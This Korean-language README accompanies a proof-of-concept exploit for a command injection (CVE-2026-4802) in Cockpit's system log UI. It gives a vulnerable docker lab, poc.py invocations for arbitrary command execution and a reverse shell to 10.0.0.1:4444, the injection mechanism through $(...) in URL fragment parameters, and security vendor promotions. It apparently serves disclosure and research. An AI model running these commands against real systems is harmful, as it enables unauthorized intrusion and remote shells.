
CVE-2026-4802에 대한 개념 증명 익스플로잇으로, Cockpit의 시스템 로그 UI에 존재하는 명령 주입 취약점을 악용하여 임의 명령 실행 및 리버스 셸을 가능하게 합니다.
CVE-2026-4802에 대한 개념 증명 익스플로잇으로, Cockpit의 시스템 로그 UI(loadServiceFilters())에서 발생하는 명령 주입을 통한 원격 코드 실행 취약점입니다.
취약한 환경을 빌드하고 실행합니다:
$ docker build -t cockpit-vuln .
$ docker run --rm -d --privileged -p 9090:9090 cockpit-vuln
# 대상이 취약한지 확인
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode check
# 임의 명령 실행
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode exec --cmd "id"
# 리버스 셸
$ python3 poc.py --url http://localhost:9090 --user viewer --pass viewer --mode reverse --lhost 10.0.0.1 --lport 4444
pkg/systemd/logsJournal.jsx가 포함된 패치되지 않은 버전)pkg/systemd/logsJournal.jsx의 loadServiceFilters() 함수는 배열을 문자열로 결합하여 공백만 이스케이프한 후 /bin/bash -ec에 전달하여 셸 명령을 구성합니다. 로그 페이지 URL 프래그먼트(예: --since=)의 사용자 제어 매개변수가 검증되지 않은 채 이 코드 경로에 도달하여 명령 치환($(...))과 같은 셸 메타문자 주입이 가능해집니다.
이 도구는 교육 및 연구 목적으로만 사용됩니다. 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
QuimeraX Intelligence는 복잡한 시스템의 중요 취약점 식별에 특화된 고급 EASM 및 사이버 위협 인텔리전스 플랫폼입니다. 이 플랫폼은 보안 위협을 사전에 모니터링, 탐지 및 경고하여 잠재적 위험에 대한 투명성과 신속한 대응을 보장합니다. 고객은 시스템이 취약한 것으로 확인되면 즉시 알림과 포괄적인 보고서를 받아 보호 조치를 취할 수 있습니다. 자세히 알아보기
Hakai Security는 보안 전문가들이 설립한 사이버 보안 기업으로, 기술적 우수성을 추구합니다. 고급 침투 테스트, 현실적인 Red Team 시뮬레이션, 안전한 개발 관행을 포함한 맞춤형 보안 솔루션을 제공하여 진화하는 사이버 위협으로부터 고객의 자산을 사전에 보호합니다.